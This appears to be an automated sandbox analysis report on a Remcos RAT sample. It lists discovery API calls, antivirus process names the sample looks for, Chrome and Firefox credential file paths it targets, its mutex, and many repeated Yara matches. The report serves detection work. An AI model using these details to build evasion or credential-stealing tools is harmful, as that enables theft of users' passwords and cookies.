Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	7_2_15F01CD8
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	7_2_15F0243C
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: EnumSystemLocalesW,	7_2_15EF8404
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: EnumSystemLocalesW,	7_2_15F01F9B
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: EnumSystemLocalesW,	7_2_15F01F50
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	7_2_15F02610
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: GetLocaleInfoW,	7_2_15EF88ED
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: EnumSystemLocalesW,	7_2_15F02036
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: GetLocaleInfoW,	7_2_15F02313
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: GetLocaleInfoW,	7_2_15F0230A

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Code function: 0_2_1603B7FF GetSystemTimes,Sleep,GetSystemTimes,__aulldiv,

0_2_1603B7FF

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Code function: 0_2_1603B60D GetComputerNameExW,GetUserNameW,

0_2_1603B60D

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Code function: 0_2_16069365 _free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

0_2_16069365

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Code function: 0_2_03F6B748 GetVersionExA,

0_2_03F6B748

Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2161341273.000000007FC80000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2135408936.0000000000A3F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: cmdagent.exe
Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2161341273.000000007FC80000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2135408936.0000000000A3F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: quhlpsvc.exe
Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2161341273.000000007FC80000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2135408936.0000000000A3F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: avgamsvr.exe
Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2161341273.000000007FC80000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2135408936.0000000000A3F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: TMBMSRV.exe
Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2161341273.000000007FC80000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2135408936.0000000000A3F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Vsserv.exe
Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2161341273.000000007FC80000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2135408936.0000000000A3F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: avgupsvc.exe
Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2161341273.000000007FC80000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2135408936.0000000000A3F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: avgemc.exe
Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2161341273.000000007FC80000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2135408936.0000000000A3F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Remcos RAT

Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000003.3002735262.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3012377467.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2953713340.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3223217832.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3306200253.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4089720835.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4059114885.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3405385976.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3021986254.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2586692141.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2665633974.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2593724777.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3012377467.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4179192099.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4150487956.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3479934068.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2665633974.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2699820103.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2976227634.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3158290079.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2441068745.0000000000833000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3188199822.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4093967085.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2508288522.0000000000887000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2269065709.0000000000677000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2449917599.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3302857825.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3035450983.00000000008B6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3114331731.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2976227634.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2464044779.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3104851524.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3856623990.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2924688106.00000000008D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3161654820.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2907189978.0000000000836000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2953713340.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3756339158.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2468471495.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2953713340.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2505658675.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3154708447.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4076981656.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3398152282.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3856623990.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3108448278.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2441068745.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4089190210.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4164933098.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3282868515.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3026491234.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2500770364.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3140335584.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2990087085.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2966180059.00000000008B5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3556121337.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4196544203.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2897470253.00000000008D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3502452984.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2897470253.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3409189142.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3208675091.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2666381721.00000000006FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3056499496.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4190137392.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2651773256.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4160542671.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2441068745.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2542929865.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2651773256.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3856623990.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3143777432.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2578962565.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3214746265.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3302857825.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2699820103.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2441068745.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4081174679.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4160542671.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3195851585.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3184396476.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2681130552.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2651773256.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4160542671.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3180921443.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3226849372.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2851259856.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4174702696.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4128240945.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4112862781.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3035450983.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2441068745.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2134604580.0000000000902000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3051742899.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3097371106.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4155612708.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4193342497.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3133149930.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2590415900.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2970099930.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4186922519.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4108402859.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2503434982.0000000000885000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2534967306.000000000058C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2473564906.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2571716341.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2986429967.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2624186369.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2449917599.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3126775028.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3147479864.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3891529229.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2990087085.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2924688106.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4182981768.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2449917599.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3177194621.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4206966787.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3166598662.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2575632661.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3118446136.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3129933999.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3048020259.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3211964788.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2159845024.000000007EDF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3556121337.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2597324711.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3072775646.00000000008B6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3202677250.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4203802144.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3199136565.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2855238771.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2998039097.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4150586108.0000000000832000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4104689962.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4149829264.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3953749266.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4190364611.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2651773256.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3903387699.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2513853407.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2483626145.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2993705504.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2500770364.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3282868515.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3170185059.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2434407266.0000000015D10000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4108651921.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2500770364.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4139785485.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2417235143.0000000000936000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3282868515.00000000008B6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2665633974.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2966180059.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2509275795.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4149829264.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2571716341.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4155304442.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe PID: 1612, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: adode.exe PID: 7148, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Tuscpznj.PIF PID: 2544, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: adode.exe PID: 4080, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: adode.exe PID: 3184, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Tuscpznj.PIF PID: 3708, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: adode.exe PID: 3740, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Contains functionality to steal Chrome passwords or cookies

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data

0_2_1602BA12

Contains functionality to steal Firefox passwords or cookies

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: \AppData\Roaming\Mozilla\Firefox\Profiles\		0_2_1602BB30
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: \key3.db		0_2_1602BB30

Remote Access Functionality

Detected Remcos RAT

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Mutex created: \Sessions\1\BaseNamedObjects\Rmc-3N0E9G	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Mutex created: \Sessions\1\BaseNamedObjects\Rmc-3N0E9G	Jump to behavior
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Mutex created: \Sessions\1\BaseNamedObjects\Rmc-3N0E9G	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Mutex created: \Sessions\1\BaseNamedObjects\Rmc-3N0E9G	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Mutex created: \Sessions\1\BaseNamedObjects\Rmc-3N0E9G
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Mutex created: \Sessions\1\BaseNamedObjects\Rmc-3N0E9G
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Mutex created: \Sessions\1\BaseNamedObjects\Rmc-3N0E9G

Yara detected Remcos RAT

Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000003.3002735262.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3012377467.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2953713340.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3223217832.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
